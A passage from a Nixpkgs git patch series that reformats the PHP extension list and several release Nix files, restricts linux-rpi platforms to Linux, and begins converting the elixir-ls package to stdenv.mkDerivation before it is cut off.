+              name = "pdo_mysql";
+              internalDeps = with php.extensions; [
+                pdo
+                mysqlnd
+              ];
+              configureFlags = [
+                "--with-pdo-mysql=mysqlnd"
+                "PHP_MYSQL_SOCK=/run/mysqld/mysqld.sock"
+              ];
+              doCheck = false;
+            }
+            {
+              name = "pdo_odbc";
+              internalDeps = [ php.extensions.pdo ];
+              buildInputs = [ unixODBC ];
+              configureFlags = [ "--with-pdo-odbc=unixODBC,${unixODBC}" ];
+              doCheck = false;
+            }
+            {
+              name = "pdo_pgsql";
+              internalDeps = [ php.extensions.pdo ];
+              configureFlags = [ "--with-pdo-pgsql=${libpq.pg_config}" ];
+              doCheck = false;
+            }
+            {
+              name = "pdo_sqlite";
+              internalDeps = [ php.extensions.pdo ];
+              buildInputs = [ sqlite ];
+              configureFlags = [ "--with-pdo-sqlite=${sqlite.dev}" ];
+              doCheck = false;
+            }
+            {
+              name = "pgsql";
+              buildInputs = [
+                pcre2
+              ];
+              configureFlags = [ "--with-pgsql=${libpq.pg_config}" ];
+              doCheck = false;
+            }
+            {
+              name = "posix";
+              doCheck = false;
+            }
+            {
+              name = "readline";
+              buildInputs = [
+                readline
+              ];
+              configureFlags = [
+                "--with-readline=${readline.dev}"
+              ];
+              postPatch = ''
+                # Fix `--with-readline` option not being available.
+                # `PHP_ALWAYS_SHARED` generated by phpize enables all options
+                # without the possibility to override them. But when `--with-libedit`
+                # is enabled, `--with-readline` is not registered.
+                echo '
+                AC_DEFUN([PHP_ALWAYS_SHARED],[
+                  test "[$]$1" != "no" && ext_shared=yes
+                ])dnl
+                ' | cat - ext/readline/config.m4 > ext/readline/config.m4.tmp
+                mv ext/readline/config.m4{.tmp,}
+              '';
+              doCheck = false;
+            }
+            {
+              name = "session";
+              doCheck = false;
+            }
+            { name = "shmop"; }
+            {
+              name = "simplexml";
+              buildInputs = [
+                libxml2
+                pcre2
+              ];
+              configureFlags = [
+                "--enable-simplexml"
+              ];
+            }
+            {
+              name = "snmp";
+              buildInputs = [
+                net-snmp
+                openssl
+              ];
+              configureFlags = [ "--with-snmp" ];
+              doCheck = false;
+            }
+            {
+              name = "soap";
+              buildInputs = [ libxml2 ];
+              configureFlags = [
+                "--enable-soap"
+              ];
+              # Some tests are causing issues in the Darwin sandbox with issues
+              # such as
+              #   Unknown: php_network_getaddresses: getaddrinfo for localhost failed: nodename nor servname provided
+              doCheck = !stdenv.hostPlatform.isDarwin && lib.versionOlder php.version "8.4";
+              internalDeps = [ php.extensions.session ];
+            }
+            {
+              name = "sockets";
+              doCheck = false;
+            }
+            {
+              name = "sodium";
+              buildInputs = [ libsodium ];
+            }
+            {
+              name = "sqlite3";
+              buildInputs = [ sqlite ];
 
-                # The `sqlite3_bind_bug68849.phpt` test is currently broken for i686 Linux systems since sqlite 3.43, cf.:
-                # - https://github.com/php/php-src/issues/12076
-                # - https://www.sqlite.org/forum/forumpost/abbb95376ec6cd5f
-                patches = lib.optionals (stdenv.hostPlatform.isi686 && stdenv.hostPlatform.isLinux) [
-                  ../development/interpreters/php/skip-sqlite3_bind_bug68849.phpt.patch
-                ];
-              }
-              { name = "sysvmsg"; }
-              { name = "sysvsem"; }
-              { name = "sysvshm"; }
-              {
-                name = "tidy";
-                configureFlags = [ "--with-tidy=${html-tidy}" ];
-                doCheck = false;
-              }
-              {
-                name = "tokenizer";
-                patches = [ ../development/interpreters/php/fix-tokenizer-php81.patch ];
-              }
-              {
-                name = "xml";
-                buildInputs = [ libxml2 ];
-                configureFlags = [
-                  "--enable-xml"
-                ];
-                doCheck = false;
-              }
-              {
-                name = "xmlreader";
-                buildInputs = [ libxml2 ];
-                internalDeps = [ php.extensions.dom ];
-                env.NIX_CFLAGS_COMPILE = toString [
-                  "-I../.."
-                  "-DHAVE_DOM"
-                ];
-                doCheck = false;
-                configureFlags = [
-                  "--enable-xmlreader"
-                ];
-              }
-              {
-                name = "xmlwriter";
-                buildInputs = [ libxml2 ];
-                configureFlags = [
-                  "--enable-xmlwriter"
-                ];
-              }
-              {
-                name = "xsl";
-                buildInputs = [
-                  libxslt
-                  libxml2
-                ];
-                internalDeps = [ php.extensions.dom ];
-                doCheck = false;
-                env.NIX_CFLAGS_COMPILE = toString [
-                  "-I../.."
-                  "-DHAVE_DOM"
-                ];
-                configureFlags = [ "--with-xsl=${libxslt.dev}" ];
-              }
-              {
-                name = "zend_test";
-                internalDeps = [ php.extensions.dom ];
-                env.NIX_CFLAGS_COMPILE = "-I${libxml2.dev}/include/libxml2";
-              }
-              {
-                name = "zip";
-                buildInputs = [
-                  libzip
-                  pcre2
-                ];
-                configureFlags = [
-                  "--with-zip"
-                ];
-                doCheck = false;
-              }
-              {
-                name = "zlib";
-                buildInputs = [ zlib ];
-                configureFlags = [
-                  "--with-zlib"
-                ];
-              }
-            ]
-            ++ lib.optionals (lib.versionOlder php.version "8.3") [
-              # Using version from PECL on new PHP versions.
-              {
-                name = "imap";
-                buildInputs = [
-                  uwimap
-                  openssl
-                  pam
-                  pcre2
-                  libkrb5
-                ];
-                configureFlags = [
-                  "--with-imap=${uwimap}"
-                  "--with-imap-ssl"
-                  "--with-kerberos"
-                ];
-              }
-            ];
+              # The `sqlite3_bind_bug68849.phpt` test is currently broken for i686 Linux systems since sqlite 3.43, cf.:
+              # - https://github.com/php/php-src/issues/12076
+              # - https://www.sqlite.org/forum/forumpost/abbb95376ec6cd5f
+              patches = lib.optionals (stdenv.hostPlatform.isi686 && stdenv.hostPlatform.isLinux) [
+                ../development/interpreters/php/skip-sqlite3_bind_bug68849.phpt.patch
+              ];
+            }
+            { name = "sysvmsg"; }
+            { name = "sysvsem"; }
+            { name = "sysvshm"; }
+            {
+              name = "tidy";
+              configureFlags = [ "--with-tidy=${html-tidy}" ];
+              doCheck = false;
+            }
+            {
+              name = "tokenizer";
+              patches = [ ../development/interpreters/php/fix-tokenizer-php81.patch ];
+            }
+            {
+              name = "xml";
+              buildInputs = [ libxml2 ];
+              configureFlags = [
+                "--enable-xml"
+              ];
+              doCheck = false;
+            }
+            {
+              name = "xmlreader";
+              buildInputs = [ libxml2 ];
+              internalDeps = [ php.extensions.dom ];
+              env.NIX_CFLAGS_COMPILE = toString [
+                "-I../.."
+                "-DHAVE_DOM"
+              ];
+              doCheck = false;
+              configureFlags = [
+                "--enable-xmlreader"
+              ];
+            }
+            {
+              name = "xmlwriter";
+              buildInputs = [ libxml2 ];
+              configureFlags = [
+                "--enable-xmlwriter"
+              ];
+            }
+            {
+              name = "xsl";
+              buildInputs = [
+                libxslt
+                libxml2
+              ];
+              internalDeps = [ php.extensions.dom ];
+              doCheck = false;
+              env.NIX_CFLAGS_COMPILE = toString [
+                "-I../.."
+                "-DHAVE_DOM"
+              ];
+              configureFlags = [ "--with-xsl=${libxslt.dev}" ];
+            }
+            {
+              name = "zend_test";
+              internalDeps = [ php.extensions.dom ];
+              env.NIX_CFLAGS_COMPILE = "-I${libxml2.dev}/include/libxml2";
+            }
+            {
+              name = "zip";
+              buildInputs = [
+                libzip
+                pcre2
+              ];
+              configureFlags = [
+                "--with-zip"
+              ];
+              doCheck = false;
+            }
+            {
+              name = "zlib";
+              buildInputs = [ zlib ];
+              configureFlags = [
+                "--with-zlib"
+              ];
+            }
+          ]
+          ++ lib.optionals (lib.versionOlder php.version "8.3") [
+            # Using version from PECL on new PHP versions.
+            {
+              name = "imap";
+              buildInputs = [
+                uwimap
+                openssl
+                pam
+                pcre2
+                libkrb5
+              ];
+              configureFlags = [
+                "--with-imap=${uwimap}"
+                "--with-imap-ssl"
+                "--with-kerberos"
+              ];
+            }
+          ];
 
           # Convert the list of attrs:
           # [ { name = <name>; ... } ... ]
diff --git a/pkgs/top-level/release-alternatives.nix b/pkgs/top-level/release-alternatives.nix
index e81f342080ad..328a437b5cb4 100644
--- a/pkgs/top-level/release-alternatives.nix
+++ b/pkgs/top-level/release-alternatives.nix
@@ -91,7 +91,8 @@ let
       "haskellPackages"
       "bindings-levmar"
     ]
-  ] ++ lib.optionals allowUnfree [ "magma" ];
+  ]
+  ++ lib.optionals allowUnfree [ "magma" ];
   blas64Users = [
     "rspamd"
     "sundials"
@@ -119,7 +120,8 @@ let
       "haskellPackages"
       "bindings-levmar"
     ]
-  ] ++ lib.optionals allowUnfree [ "magma" ];
+  ]
+  ++ lib.optionals allowUnfree [ "magma" ];
   blasProviders =
     system:
     [
diff --git a/pkgs/top-level/release-attrpaths-superset.nix b/pkgs/top-level/release-attrpaths-superset.nix
index 968ca142ecf7..eac3165a5bb7 100644
--- a/pkgs/top-level/release-attrpaths-superset.nix
+++ b/pkgs/top-level/release-attrpaths-superset.nix
@@ -202,7 +202,8 @@ let
       "pkgsMusl"
       "stdenv"
     ]
-  ] ++ justAttrNames [ ] filtered;
+  ]
+  ++ justAttrNames [ ] filtered;
 
   names = map (path: (lib.concatStringsSep "." path)) paths;
 
diff --git a/pkgs/top-level/release-python.nix b/pkgs/top-level/release-python.nix
index 5bce39ba5e0e..076e04f44ccd 100644
--- a/pkgs/top-level/release-python.nix
+++ b/pkgs/top-level/release-python.nix
@@ -67,6 +67,7 @@ let
       ];
     };
 
-  } // (mapTestOn (packagePython pkgs));
+  }
+  // (mapTestOn (packagePython pkgs));
 in
 jobs
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index 49ee9782ad53..c1a0038fe0d8 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -133,99 +133,98 @@ let
         pkgs.releaseTools.aggregate {
           name = "nixpkgs-darwin-${jobs.tarball.version}";
           meta.description = "Release-critical builds for the Nixpkgs darwin channel";
-          constituents =
-            [
-              jobs.tarball
-              jobs.release-checks
-            ]
-            ++ optionals supportDarwin.x86_64 [
-              jobs.cabal2nix.x86_64-darwin
-              jobs.ghc.x86_64-darwin
-              jobs.git.x86_64-darwin
-              jobs.go.x86_64-darwin
-              jobs.mariadb.x86_64-darwin
-              jobs.nix.x86_64-darwin
-              jobs.nixpkgs-review.x86_64-darwin
-              jobs.nix-info.x86_64-darwin
-              jobs.nix-info-tested.x86_64-darwin
-              jobs.openssh.x86_64-darwin
-              jobs.openssl.x86_64-darwin
-              jobs.pandoc.x86_64-darwin
-              jobs.postgresql.x86_64-darwin
-              jobs.python3.x86_64-darwin
-              jobs.ruby.x86_64-darwin
-              jobs.rustc.x86_64-darwin
-              # blocking ofBorg CI 2020-02-28
-              # jobs.stack.x86_64-darwin
-              jobs.stdenv.x86_64-darwin
-              jobs.vim.x86_64-darwin
-              jobs.cachix.x86_64-darwin
-              jobs.darwin.linux-builder.x86_64-darwin
+          constituents = [
+            jobs.tarball
+            jobs.release-checks
+          ]
+          ++ optionals supportDarwin.x86_64 [
+            jobs.cabal2nix.x86_64-darwin
+            jobs.ghc.x86_64-darwin
+            jobs.git.x86_64-darwin
+            jobs.go.x86_64-darwin
+            jobs.mariadb.x86_64-darwin
+            jobs.nix.x86_64-darwin
+            jobs.nixpkgs-review.x86_64-darwin
+            jobs.nix-info.x86_64-darwin
+            jobs.nix-info-tested.x86_64-darwin
+            jobs.openssh.x86_64-darwin
+            jobs.openssl.x86_64-darwin
+            jobs.pandoc.x86_64-darwin
+            jobs.postgresql.x86_64-darwin
+            jobs.python3.x86_64-darwin
+            jobs.ruby.x86_64-darwin
+            jobs.rustc.x86_64-darwin
+            # blocking ofBorg CI 2020-02-28
+            # jobs.stack.x86_64-darwin
+            jobs.stdenv.x86_64-darwin
+            jobs.vim.x86_64-darwin
+            jobs.cachix.x86_64-darwin
+            jobs.darwin.linux-builder.x86_64-darwin
 
-              # UI apps
-              # jobs.firefox-unwrapped.x86_64-darwin
-              jobs.qt5.qtmultimedia.x86_64-darwin
-              jobs.inkscape.x86_64-darwin
-              jobs.gimp.x86_64-darwin
-              jobs.emacs.x86_64-darwin
-              jobs.wireshark.x86_64-darwin
-              jobs.transmission_3-gtk.x86_64-darwin
-              jobs.transmission_4-gtk.x86_64-darwin
+            # UI apps
+            # jobs.firefox-unwrapped.x86_64-darwin
+            jobs.qt5.qtmultimedia.x86_64-darwin
+            jobs.inkscape.x86_64-darwin
+            jobs.gimp.x86_64-darwin
+            jobs.emacs.x86_64-darwin
+            jobs.wireshark.x86_64-darwin
+            jobs.transmission_3-gtk.x86_64-darwin
+            jobs.transmission_4-gtk.x86_64-darwin
 
-              # Tests
-              /*
-                jobs.tests.cc-wrapper.default.x86_64-darwin
-                jobs.tests.cc-wrapper.llvmPackages.clang.x86_64-darwin
-                jobs.tests.cc-wrapper.llvmPackages.libcxx.x86_64-darwin
-                jobs.tests.stdenv-inputs.x86_64-darwin
-                jobs.tests.macOSSierraShared.x86_64-darwin
-                jobs.tests.stdenv.hooks.patch-shebangs.x86_64-darwin
-              */
-            ]
-            ++ optionals supportDarwin.aarch64 [
-              jobs.cabal2nix.aarch64-darwin
-              jobs.ghc.aarch64-darwin
-              jobs.git.aarch64-darwin
-              jobs.go.aarch64-darwin
-              jobs.mariadb.aarch64-darwin
-              jobs.nix.aarch64-darwin
-              jobs.nixpkgs-review.aarch64-darwin
-              jobs.nix-info.aarch64-darwin
-              jobs.nix-info-tested.aarch64-darwin
-              jobs.openssh.aarch64-darwin
-              jobs.openssl.aarch64-darwin
-              jobs.pandoc.aarch64-darwin
-              jobs.postgresql.aarch64-darwin
-              jobs.python3.aarch64-darwin
-              jobs.ruby.aarch64-darwin
-              jobs.rustc.aarch64-darwin
-              # blocking ofBorg CI 2020-02-28
-              # jobs.stack.aarch64-darwin
-              jobs.stdenv.aarch64-darwin
-              jobs.vim.aarch64-darwin
-              jobs.cachix.aarch64-darwin
-              jobs.darwin.linux-builder.aarch64-darwin
+            # Tests
+            /*
+              jobs.tests.cc-wrapper.default.x86_64-darwin
+              jobs.tests.cc-wrapper.llvmPackages.clang.x86_64-darwin
+              jobs.tests.cc-wrapper.llvmPackages.libcxx.x86_64-darwin
+              jobs.tests.stdenv-inputs.x86_64-darwin
+              jobs.tests.macOSSierraShared.x86_64-darwin
+              jobs.tests.stdenv.hooks.patch-shebangs.x86_64-darwin
+            */
+          ]
+          ++ optionals supportDarwin.aarch64 [
+            jobs.cabal2nix.aarch64-darwin
+            jobs.ghc.aarch64-darwin
+            jobs.git.aarch64-darwin
+            jobs.go.aarch64-darwin
+            jobs.mariadb.aarch64-darwin
+            jobs.nix.aarch64-darwin
+            jobs.nixpkgs-review.aarch64-darwin
+            jobs.nix-info.aarch64-darwin
+            jobs.nix-info-tested.aarch64-darwin
+            jobs.openssh.aarch64-darwin
+            jobs.openssl.aarch64-darwin
+            jobs.pandoc.aarch64-darwin
+            jobs.postgresql.aarch64-darwin
+            jobs.python3.aarch64-darwin
+            jobs.ruby.aarch64-darwin
+            jobs.rustc.aarch64-darwin
+            # blocking ofBorg CI 2020-02-28
+            # jobs.stack.aarch64-darwin
+            jobs.stdenv.aarch64-darwin
+            jobs.vim.aarch64-darwin
+            jobs.cachix.aarch64-darwin
+            jobs.darwin.linux-builder.aarch64-darwin
 
-              # UI apps
-              # jobs.firefox-unwrapped.aarch64-darwin
-              jobs.qt5.qtmultimedia.aarch64-darwin
-              jobs.inkscape.aarch64-darwin
-              jobs.gimp.aarch64-darwin
-              jobs.emacs.aarch64-darwin
-              jobs.wireshark.aarch64-darwin
-              jobs.transmission_3-gtk.aarch64-darwin
-              jobs.transmission_4-gtk.aarch64-darwin
+            # UI apps
+            # jobs.firefox-unwrapped.aarch64-darwin
+            jobs.qt5.qtmultimedia.aarch64-darwin
+            jobs.inkscape.aarch64-darwin
+            jobs.gimp.aarch64-darwin
+            jobs.emacs.aarch64-darwin
+            jobs.wireshark.aarch64-darwin
+            jobs.transmission_3-gtk.aarch64-darwin
+            jobs.transmission_4-gtk.aarch64-darwin
 
-              # Tests
-              /*
-                jobs.tests.cc-wrapper.default.aarch64-darwin
-                jobs.tests.cc-wrapper.llvmPackages.clang.aarch64-darwin
-                jobs.tests.cc-wrapper.llvmPackages.libcxx.aarch64-darwin
-                jobs.tests.stdenv-inputs.aarch64-darwin
-                jobs.tests.macOSSierraShared.aarch64-darwin
-                jobs.tests.stdenv.hooks.patch-shebangs.aarch64-darwin
-              */
-            ];
+            # Tests
+            /*
+              jobs.tests.cc-wrapper.default.aarch64-darwin
+              jobs.tests.cc-wrapper.llvmPackages.clang.aarch64-darwin
+              jobs.tests.cc-wrapper.llvmPackages.libcxx.aarch64-darwin
+              jobs.tests.stdenv-inputs.aarch64-darwin
+              jobs.tests.macOSSierraShared.aarch64-darwin
+              jobs.tests.stdenv.hooks.patch-shebangs.aarch64-darwin
+            */
+          ];
         }
       else
         null;
@@ -233,92 +232,91 @@ let
     unstable = pkgs.releaseTools.aggregate {
       name = "nixpkgs-${jobs.tarball.version}";
       meta.description = "Release-critical builds for the Nixpkgs unstable channel";
-      constituents =
-        [
-          jobs.tarball
-          jobs.release-checks
-          jobs.metrics
-          jobs.manual
-          jobs.lib-tests
-          jobs.pkgs-lib-tests
-          jobs.stdenv.x86_64-linux
-          jobs.cargo.x86_64-linux
-          jobs.go.x86_64-linux
-          jobs.linux.x86_64-linux
-          jobs.nix.x86_64-linux
-          jobs.pandoc.x86_64-linux
-          jobs.python3.x86_64-linux
-          # Needed by contributors to test PRs (by inclusion of the PR template)
-          jobs.nixpkgs-review.x86_64-linux
-          # Needed for support
-          jobs.nix-info.x86_64-linux
-          jobs.nix-info-tested.x86_64-linux
-          # Ensure that X11/GTK are in order.
-          jobs.firefox-unwrapped.x86_64-linux
-          jobs.cachix.x86_64-linux
-          jobs.devenv.x86_64-linux
+      constituents = [
+        jobs.tarball
+        jobs.release-checks
+        jobs.metrics
+        jobs.manual
+        jobs.lib-tests
+        jobs.pkgs-lib-tests
+        jobs.stdenv.x86_64-linux
+        jobs.cargo.x86_64-linux
+        jobs.go.x86_64-linux
+        jobs.linux.x86_64-linux
+        jobs.nix.x86_64-linux
+        jobs.pandoc.x86_64-linux
+        jobs.python3.x86_64-linux
+        # Needed by contributors to test PRs (by inclusion of the PR template)
+        jobs.nixpkgs-review.x86_64-linux
+        # Needed for support
+        jobs.nix-info.x86_64-linux
+        jobs.nix-info-tested.x86_64-linux
+        # Ensure that X11/GTK are in order.
+        jobs.firefox-unwrapped.x86_64-linux
+        jobs.cachix.x86_64-linux
+        jobs.devenv.x86_64-linux
 
-          /*
-            TODO: re-add tests; context: https://github.com/NixOS/nixpkgs/commit/36587a587ab191eddd868179d63c82cdd5dee21b
+        /*
+          TODO: re-add tests; context: https://github.com/NixOS/nixpkgs/commit/36587a587ab191eddd868179d63c82cdd5dee21b
 
-            jobs.tests.cc-wrapper.default.x86_64-linux
+          jobs.tests.cc-wrapper.default.x86_64-linux
 
-            # broken see issue #40038
+          # broken see issue #40038
 
-            jobs.tests.cc-wrapper.llvmPackages.clang.x86_64-linux
-            jobs.tests.cc-wrapper.llvmPackages.libcxx.x86_64-linux
-            jobs.tests.cc-multilib-gcc.x86_64-linux
-            jobs.tests.cc-multilib-clang.x86_64-linux
-            jobs.tests.stdenv-inputs.x86_64-linux
-            jobs.tests.stdenv.hooks.patch-shebangs.x86_64-linux
-          */
-        ]
-        ++ collect isDerivation jobs.stdenvBootstrapTools
-        ++ optionals supportDarwin.x86_64 [
-          jobs.stdenv.x86_64-darwin
-          jobs.cargo.x86_64-darwin
-          jobs.cachix.x86_64-darwin
-          jobs.devenv.x86_64-darwin
-          jobs.go.x86_64-darwin
-          jobs.python3.x86_64-darwin
-          jobs.nixpkgs-review.x86_64-darwin
-          jobs.nix.x86_64-darwin
-          jobs.nix-info.x86_64-darwin
-          jobs.nix-info-tested.x86_64-darwin
-          jobs.git.x86_64-darwin
-          jobs.mariadb.x86_64-darwin
-          jobs.vim.x86_64-darwin
-          jobs.inkscape.x86_64-darwin
-          jobs.qt5.qtmultimedia.x86_64-darwin
-          jobs.darwin.linux-builder.x86_64-darwin
-          /*
-            jobs.tests.cc-wrapper.default.x86_64-darwin
-            jobs.tests.cc-wrapper.llvmPackages.clang.x86_64-darwin
-            jobs.tests.cc-wrapper.llvmPackages.libcxx.x86_64-darwin
-            jobs.tests.stdenv-inputs.x86_64-darwin
-            jobs.tests.macOSSierraShared.x86_64-darwin
-            jobs.tests.stdenv.hooks.patch-shebangs.x86_64-darwin
-          */
-        ]
-        ++ optionals supportDarwin.aarch64 [
-          jobs.stdenv.aarch64-darwin
-          jobs.cargo.aarch64-darwin
-          jobs.cachix.aarch64-darwin
-          jobs.devenv.aarch64-darwin
-          jobs.go.aarch64-darwin
-          jobs.python3.aarch64-darwin
-          jobs.nixpkgs-review.aarch64-darwin
-          jobs.nix.aarch64-darwin
-          jobs.nix-info.aarch64-darwin
-          jobs.nix-info-tested.aarch64-darwin
-          jobs.git.aarch64-darwin
-          jobs.mariadb.aarch64-darwin
-          jobs.vim.aarch64-darwin
-          jobs.inkscape.aarch64-darwin
-          jobs.qt5.qtmultimedia.aarch64-darwin
-          jobs.darwin.linux-builder.aarch64-darwin
-          # consider adding tests, as suggested above for x86_64-darwin
-        ];
+          jobs.tests.cc-wrapper.llvmPackages.clang.x86_64-linux
+          jobs.tests.cc-wrapper.llvmPackages.libcxx.x86_64-linux
+          jobs.tests.cc-multilib-gcc.x86_64-linux
+          jobs.tests.cc-multilib-clang.x86_64-linux
+          jobs.tests.stdenv-inputs.x86_64-linux
+          jobs.tests.stdenv.hooks.patch-shebangs.x86_64-linux
+        */
+      ]
+      ++ collect isDerivation jobs.stdenvBootstrapTools
+      ++ optionals supportDarwin.x86_64 [
+        jobs.stdenv.x86_64-darwin
+        jobs.cargo.x86_64-darwin
+        jobs.cachix.x86_64-darwin
+        jobs.devenv.x86_64-darwin
+        jobs.go.x86_64-darwin
+        jobs.python3.x86_64-darwin
+        jobs.nixpkgs-review.x86_64-darwin
+        jobs.nix.x86_64-darwin
+        jobs.nix-info.x86_64-darwin
+        jobs.nix-info-tested.x86_64-darwin
+        jobs.git.x86_64-darwin
+        jobs.mariadb.x86_64-darwin
+        jobs.vim.x86_64-darwin
+        jobs.inkscape.x86_64-darwin
+        jobs.qt5.qtmultimedia.x86_64-darwin
+        jobs.darwin.linux-builder.x86_64-darwin
+        /*
+          jobs.tests.cc-wrapper.default.x86_64-darwin
+          jobs.tests.cc-wrapper.llvmPackages.clang.x86_64-darwin
+          jobs.tests.cc-wrapper.llvmPackages.libcxx.x86_64-darwin
+          jobs.tests.stdenv-inputs.x86_64-darwin
+          jobs.tests.macOSSierraShared.x86_64-darwin
+          jobs.tests.stdenv.hooks.patch-shebangs.x86_64-darwin
+        */
+      ]
+      ++ optionals supportDarwin.aarch64 [
+        jobs.stdenv.aarch64-darwin
+        jobs.cargo.aarch64-darwin
+        jobs.cachix.aarch64-darwin
+        jobs.devenv.aarch64-darwin
+        jobs.go.aarch64-darwin
+        jobs.python3.aarch64-darwin
+        jobs.nixpkgs-review.aarch64-darwin
+        jobs.nix.aarch64-darwin
+        jobs.nix-info.aarch64-darwin
+        jobs.nix-info-tested.aarch64-darwin
+        jobs.git.aarch64-darwin
+        jobs.mariadb.aarch64-darwin
+        jobs.vim.aarch64-darwin
+        jobs.inkscape.aarch64-darwin
+        jobs.qt5.qtmultimedia.aarch64-darwin
+        jobs.darwin.linux-builder.aarch64-darwin
+        # consider adding tests, as suggested above for x86_64-darwin
+      ];
     };
 
     stdenvBootstrapTools = genAttrs bootstrapConfigs (
diff --git a/pkgs/top-level/stage.nix b/pkgs/top-level/stage.nix
index d08ae439bd33..5dfc2519b29c 100644
--- a/pkgs/top-level/stage.nix
+++ b/pkgs/top-level/stage.nix
@@ -262,7 +262,8 @@ let
                 };
               }
             )
-          ] ++ overlays;
+          ]
+          ++ overlays;
           ${if stdenv.hostPlatform == stdenv.buildPlatform then "localSystem" else "crossSystem"} = {
             config = lib.systems.parse.tripleFromSystem (
               stdenv.hostPlatform.parsed
@@ -283,7 +284,8 @@ let
             (self': super': {
               pkgsx86_64Darwin = super';
             })
-          ] ++ overlays;
+          ]
+          ++ overlays;
           localSystem = {
             config = lib.systems.parse.tripleFromSystem (
               stdenv.hostPlatform.parsed
@@ -330,7 +332,8 @@ let
         (self': super': {
           pkgsStatic = super';
         })
-      ] ++ overlays;
+      ]
+      ++ overlays;
       crossSystem = {
         isStatic = true;
         config = lib.systems.parse.tripleFromSystem (
diff --git a/pkgs/top-level/unixtools.nix b/pkgs/top-level/unixtools.nix
index 2c983fe8a5ac..8cea70b22225 100644
--- a/pkgs/top-level/unixtools.nix
+++ b/pkgs/top-level/unixtools.nix
@@ -42,13 +42,12 @@ let
           priority = 10;
           platforms = platforms.${stdenv.hostPlatform.parsed.kernel.name} or platforms.all;
         };
-        passthru =
-          {
-            inherit provider;
-          }
-          // lib.optionalAttrs (builtins.hasAttr "binlore" providers) {
-            binlore.out = (binlore.synthesize (getBin bins.${cmd}) providers.binlore);
-          };
+        passthru = {
+          inherit provider;
+        }
+        // lib.optionalAttrs (builtins.hasAttr "binlore" providers) {
+          binlore.out = (binlore.synthesize (getBin bins.${cmd}) providers.binlore);
+        };
         preferLocalBuild = true;
       }
       ''
diff --git a/pkgs/top-level/variants.nix b/pkgs/top-level/variants.nix
index a86cb4dda830..0eacaee9fd66 100644
--- a/pkgs/top-level/variants.nix
+++ b/pkgs/top-level/variants.nix
@@ -28,7 +28,8 @@ self: super: {
       (self': super': {
         pkgsLLVM = super';
       })
-    ] ++ overlays;
+    ]
+    ++ overlays;
     # Bootstrap a cross stdenv using the LLVM toolchain.
     # This is currently not possible when compiling natively,
     # so we don't need to check hostPlatform != buildPlatform.
@@ -43,7 +44,8 @@ self: super: {
       (self': super': {
         pkgsArocc = super';
       })
-    ] ++ overlays;
+    ]
+    ++ overlays;
     # Bootstrap a cross stdenv using the Aro C compiler.
     # This is currently not possible when compiling natively,
     # so we don't need to check hostPlatform != buildPlatform.
@@ -58,7 +60,8 @@ self: super: {
       (self': super': {
         pkgsZig = super';
       })
-    ] ++ overlays;
+    ]
+    ++ overlays;
     # Bootstrap a cross stdenv using the Zig toolchain.
     # This is currently not possible when compiling natively,
     # so we don't need to check hostPlatform != buildPlatform.
@@ -78,7 +81,8 @@ self: super: {
           (self': super': {
             pkgsMusl = super';
           })
-        ] ++ overlays;
+        ]
+        ++ overlays;
         ${if stdenv.hostPlatform == stdenv.buildPlatform then "localSystem" else "crossSystem"} = {
           config = lib.systems.parse.tripleFromSystem (makeMuslParsedPlatform stdenv.hostPlatform.parsed);
         };
@@ -152,6 +156,7 @@ self: super: {
           pcre16 = super'.pcre16.override { enableJit = false; };
         }
       )
-    ] ++ overlays;
+    ]
+    ++ overlays;
   };
 }

From 7960397631bf5840fb66aa775931a378c2662d0f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 13:18:28 +0200
Subject: [PATCH 2852/4511] linux-rpi: fix eval on darwin

`meta.platforms` should only contain Linux platforms.

(cherry picked from commit 172db2e61cebf7c26c8ce4d0bb4d946fb93c4ca7)
---
 pkgs/os-specific/linux/kernel/linux-rpi.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/linux-rpi.nix b/pkgs/os-specific/linux/kernel/linux-rpi.nix
index fb229afe8314..d2cf45184226 100644
--- a/pkgs/os-specific/linux/kernel/linux-rpi.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rpi.nix
@@ -46,12 +46,12 @@ lib.overrideDerivation
       extraMeta =
         if (rpiVersion < 3) then
           {
-            platforms = with lib.platforms; arm;
+            platforms = with lib.platforms; lib.intersectLists arm linux;
             hydraPlatforms = [ ];
           }
         else
           {
-            platforms = with lib.platforms; arm ++ aarch64;
+            platforms = with lib.platforms; lib.intersectLists (arm ++ aarch64) linux;
             hydraPlatforms = [ "aarch64-linux" ];
           };
       ignoreConfigErrors = true;

From bd2d6f5b4fb46e12251a4c16469b0f132ff7d7ea Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 23 Jul 2025 13:00:55 -0400
Subject: [PATCH 2853/4511] elixir-ls: force local installation

(cherry picked from commit b051a144dc42449c723ca188e65f58d159ebb0ee)
---
 pkgs/development/beam-modules/default.nix     |  2 +-
 .../beam-modules/elixir-ls/default.nix        | 44 +++++++------------
 .../beam-modules/elixir-ls/launch.sh.patch    |  8 ++--
 3 files changed, 20 insertions(+), 34 deletions(-)

diff --git a/pkgs/development/beam-modules/default.nix b/pkgs/development/beam-modules/default.nix
index a5a3ae2d3837..784ee4de591a 100644
--- a/pkgs/development/beam-modules/default.nix
+++ b/pkgs/development/beam-modules/default.nix
@@ -84,7 +84,7 @@ let
         inherit fetchMixDeps mixRelease;
       };
 
-      elixir-ls = callPackage ./elixir-ls { inherit elixir fetchMixDeps mixRelease; };
+      elixir-ls = callPackage ./elixir-ls { inherit elixir; };
 
       lfe = lfe_2_1;
       lfe_2_1 = lib'.callLFE ../interpreters/lfe/2.1.nix { inherit erlang buildRebar3 buildHex; };
diff --git a/pkgs/development/beam-modules/elixir-ls/default.nix b/pkgs/development/beam-modules/elixir-ls/default.nix
index 237838bc337b..eda8502395ad 100644
--- a/pkgs/development/beam-modules/elixir-ls/default.nix
+++ b/pkgs/development/beam-modules/elixir-ls/default.nix
@@ -3,13 +3,12 @@
   elixir,
   fetchpatch,
   fetchFromGitHub,
-  fetchMixDeps,
   makeWrapper,
-  mixRelease,
+  stdenv,
   nix-update-script,
 }:
 
-mixRelease rec {
+stdenv.mkDerivation rec {
   pname = "elixir-ls";
   version = "0.28.1";
 
@@ -20,16 +19,6 @@ mixRelease rec {
     hash = "sha256-r4P+3MPniDNdF3SG2jfBbzHsoxn826eYd2tsv6bJBoI=";
   };
 
-  inherit elixir;
